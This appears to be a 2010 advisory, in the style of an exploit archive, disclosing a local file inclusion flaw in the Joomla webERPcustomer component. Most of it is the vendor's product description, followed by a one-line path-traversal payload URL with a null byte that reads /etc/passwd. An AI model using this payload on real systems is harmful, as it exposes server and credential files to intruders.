59 lines
No EOL
2.2 KiB
Text
59 lines
No EOL
2.2 KiB
Text
---------------------------------------------------------------------------------
|
|
Joomla Component webERPcustomer Local File Inclusion
|
|
---------------------------------------------------------------------------------
|
|
|
|
Author : Chip D3 Bi0s
|
|
Group : LatinHackTeam
|
|
Email & msn : chipdebios@gmail.com
|
|
Date : 31 March 2010
|
|
Critical Lvl : Moderate
|
|
Impact : Exposure of sensitive information
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
|
|
Application : webERPcustomer
|
|
version : 1.2.1
|
|
Developer : Mo Kelly
|
|
License : GPL type : Commercial
|
|
Price : 20.00 USD
|
|
Date Added : 24 June 2009
|
|
Download : http://joomlamo.com/joomlamo/downloads/cat_view/8-extensions-integrated-with-weberp.html
|
|
|
|
|
|
Description :
|
|
|
|
webERPcustomer is a Joomla! component integrated with webERP. Upon logging in and clicking the webERPcustomer
|
|
menu selection the user/salesperson will be able to view and update webERP customer master records assigned
|
|
to them and access/update associated wiki data. webERPcustomer is an easy way to allow sales persons to update
|
|
their customer data.
|
|
|
|
The Joomla user name and webERP salesperson code must be the same and the Joomla database user must be given
|
|
rights to the webERP database.
|
|
|
|
webERP is an open source accounting package that is very popular. At Rockwall Computer we are writing modules
|
|
and components integrated with webERP so that companies can access and update data in webERP using Joomla modules
|
|
and components. This reduces training time and the user interface is more friendly and powerful.
|
|
|
|
|
|
For instance, this accounts receivable customer and branch record update is much easier to access than through webERP.
|
|
Clicking the note/pencil opens the webERP wiki notes for that customer. This method of access to a sales persons
|
|
including the wiki integration makes it very powerful!
|
|
|
|
|
|
--------------
|
|
file error : components/com_weberpcustomer/weberpcustomer.php
|
|
|
|
how to exploit
|
|
|
|
http://127.0.0.1/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00
|
|
|
|
------------------------
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++ |